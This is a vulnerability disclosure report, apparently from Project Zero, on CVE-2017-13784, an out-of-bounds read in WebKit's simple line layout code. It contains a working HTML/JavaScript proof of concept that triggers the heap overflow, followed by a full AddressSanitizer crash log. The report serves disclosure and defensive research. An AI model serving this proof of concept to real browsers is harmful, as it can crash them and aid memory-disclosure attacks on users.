Webkit WebCore::SimpleLineLayout::RunResolver::runForPoint Out-Of-Bounds Read

`WebKit: out-of-bounds read in WebCore::SimpleLineLayout::RunResolver::runForPoint   
  
CVE-2017-13784  
  
  
There is an out-of-bounds read security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.  
  
PoC:  
  
=================================================================  
  
<style>  
* { border-bottom: green solid; margin: 0px; }  
</style>  
<script>  
function eventhandler() {  
dd.before(a);  
document.caretRangeFromPoint(0,0);  
}  
</script>  
<h6>  
<a id="a"></a>  
</h6>  
<dd id="dd"></dd>  
<svg>  
<set attributeName="dominant-baseline" onbegin="eventhandler()" />  
  
=================================================================  
  
ASan log:  
  
=================================================================  
==30436==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x606000560c48 at pc 0x00010c8f583a bp 0x7fff5c1a8e70 sp 0x7fff5c1a8e68  
READ of size 4 at 0x606000560c48 thread T0  
==30436==WARNING: invalid path to external symbolizer!  
==30436==WARNING: Failed to use and restart external symbolizer!  
#0 0x10c8f5839 in WebCore::SimpleLineLayout::RunResolver::Run::logicalLeft() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2ba4839)  
#1 0x10c8fd2cb in WebCore::SimpleLineLayout::RunResolver::runForPoint(WebCore::LayoutPoint const&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2bac2cb)  
#2 0x10c8f533f in WebCore::SimpleLineLayout::textOffsetForPoint(WebCore::LayoutPoint const&, WebCore::RenderText const&, WebCore::SimpleLineLayout::Layout const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2ba433f)  
#3 0x10c635a06 in WebCore::RenderText::positionForPoint(WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28e4a06)  
#4 0x10c2f5080 in WebCore::RenderBlockFlow::positionForPoint(WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25a4080)  
#5 0x10a4e350a in WebCore::Document::caretRangeFromPoint(WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x79250a)  
#6 0x10a4e3301 in WebCore::Document::caretRangeFromPoint(int, int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x792301)  
#7 0x10b0fb98b in WebCore::jsDocumentPrototypeFunctionCaretRangeFromPointBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13aa98b)  
#8 0x10b0e0c28 in long long WebCore::IDLOperation<WebCore::JSDocument>::call<&(WebCore::jsDocumentPrototypeFunctionCaretRangeFromPointBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState&, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x138fc28)  
#9 0x4f28e9401027 (<unknown module>)  
#10 0x11825fe49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)  
#11 0x11825fe49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)  
#12 0x118258f6f in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16a3f6f)  
#13 0x117ebc847 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1307847)  
#14 0x117e3d88a in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x128888a)  
#15 0x117456731 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1731)  
#16 0x1174569a2 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a19a2)  
#17 0x117456d13 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1d13)  
#18 0x10af8f615 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x123e615)  
#19 0x10b3a26cd in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x16516cd)  
#20 0x10a70e010 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bd010)  
#21 0x10a70dae0 in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bcae0)  
#22 0x10a6d5b97 in WebCore::EventContext::handleLocalEvents(WebCore::Event&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x984b97)  
#23 0x10a6d6b2f in WebCore::dispatchEventInDOM(WebCore::Event&, WebCore::EventPath const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x985b2f)  
#24 0x10a6d6553 in WebCore::EventDispatcher::dispatchEvent(WebCore::Node&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x985553)  
#25 0x10cc0d5f2 in WebCore::SVGSMILElement::dispatchPendingEvent(WebCore::EventSender<WebCore::SVGSMILElement>*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2ebc5f2)  
#26 0x10cc0d92a in WebCore::EventSender<WebCore::SVGSMILElement>::dispatchPendingEvents() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2ebc92a)  
#27 0x10ccfd242 in WebCore::ThreadTimers::sharedTimerFiredInternal() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2fac242)  
#28 0x10bebbe74 in WebCore::timerFired(__CFRunLoopTimer*, void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x216ae74)  
#29 0x7fffd5298c53 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x90c53)  
#30 0x7fffd52988de in __CFRunLoopDoTimer (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x908de)  
#31 0x7fffd5298439 in __CFRunLoopDoTimers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x90439)  
#32 0x7fffd528fb80 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87b80)  
#33 0x7fffd528f113 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87113)  
#34 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)  
#35 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)  
#36 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)  
#37 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)  
#38 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)  
#39 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)  
#40 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)  
#41 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)  
#42 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)  
#43 0x103a5356c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)  
#44 0x7fffeaa0f234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)  
  
0x606000560c48 is located 8 bytes to the right of 64-byte region [0x606000560c00,0x606000560c40)  
allocated by thread T0 here:  
#0 0x103abbd2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)  
#1 0x7fffeab91281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)  
#2 0x118927ad4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72ad4)  
#3 0x118925d6d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d70d6d)  
#4 0x1188ac247 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf7247)  
#5 0x1188ab63a in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf663a)  
#6 0x10c8e7fdc in WebCore::SimpleLineLayout::Layout::create(WTF::Vector<WebCore::SimpleLineLayout::Run, 10ul, WTF::CrashOnOverflow, 16ul> const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2b96fdc)  
#7 0x10c8e78ff in WebCore::SimpleLineLayout::create(WebCore::RenderBlockFlow&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2b968ff)  
#8 0x10c2d8cb5 in WebCore::RenderBlockFlow::layoutSimpleLines(bool, WebCore::LayoutUnit&, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2587cb5)  
#9 0x10c2d25f7 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25815f7)  
#10 0x10c28caa2 in WebCore::RenderBlock::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x253baa2)  
#11 0x10c2d7a3c in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2586a3c)  
#12 0x10c2d41c2 in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25831c2)  
#13 0x10c2d2602 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2581602)  
#14 0x10c28caa2 in WebCore::RenderBlock::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x253baa2)  
#15 0x10c2d7a3c in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2586a3c)  
#16 0x10c2d41c2 in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25831c2)  
#17 0x10c2d2602 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2581602)  
#18 0x10c28caa2 in WebCore::RenderBlock::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x253baa2)  
#19 0x10c2d7a3c in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2586a3c)  
#20 0x10c2d41c2 in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25831c2)  
#21 0x10c2d2602 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2581602)  
#22 0x10c28caa2 in WebCore::RenderBlock::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x253baa2)  
#23 0x10c69168d in WebCore::RenderView::layoutContent(WebCore::LayoutState const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x294068d)  
#24 0x10c6920b4 in WebCore::RenderView::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x29410b4)  
#25 0x10a8d526d in WebCore::FrameView::layout(bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb8426d)  
#26 0x10a4e1b10 in WebCore::Document::updateLayout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x790b10)  
#27 0x10cd35b2f in WebCore::absolutePointIfNotClipped(WebCore::Document&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2fe4b2f)  
#28 0x10cd35809 in WebCore::TreeScope::nodeFromPoint(WebCore::LayoutPoint const&, WebCore::LayoutPoint*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2fe4809)  
#29 0x10a4e349b in WebCore::Document::caretRangeFromPoint(WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x79249b)  
  
SUMMARY: AddressSanitizer: heap-buffer-overflow (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2ba4839) in WebCore::SimpleLineLayout::RunResolver::Run::logicalLeft() const  
Shadow bytes around the buggy address:  
0x1c0c000ac130: fd fd fd fd fa fa fa fa fd fd fd fd fd fd fd fd  
0x1c0c000ac140: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa  
0x1c0c000ac150: fd fd fd fd fd fd fd fd fa fa fa fa 00 00 00 00  
0x1c0c000ac160: 00 00 01 fa fa fa fa fa fd fd fd fd fd fd fd fd  
0x1c0c000ac170: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa  
=>0x1c0c000ac180: 00 00 00 00 00 00 00 00 fa[fa]fa fa fd fd fd fd  
0x1c0c000ac190: fd fd fd fd fa fa fa fa fd fd fd fd fd fd fd fd  
0x1c0c000ac1a0: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa  
0x1c0c000ac1b0: 00 00 00 00 00 00 00 00 fa fa fa fa fd fd fd fd  
0x1c0c000ac1c0: fd fd fd fd fa fa fa fa fd fd fd fd fd fd fd fd  
0x1c0c000ac1d0: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa  
Shadow byte legend (one shadow byte represents 8 application bytes):  
Addressable: 00  
Partially addressable: 01 02 03 04 05 06 07   
Heap left redzone: fa  
Freed heap region: fd  
Stack left redzone: f1  
Stack mid redzone: f2  
Stack right redzone: f3  
Stack after return: f5  
Stack use after scope: f8  
Global redzone: f9  
Global init order: f6  
Poisoned by user: f7  
Container overflow: fc  
Array cookie: ac  
Intra object redzone: bb  
ASan internal: fe  
Left alloca redzone: ca  
Right alloca redzone: cb  
==30436==ABORTING  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: ifratric  
  
`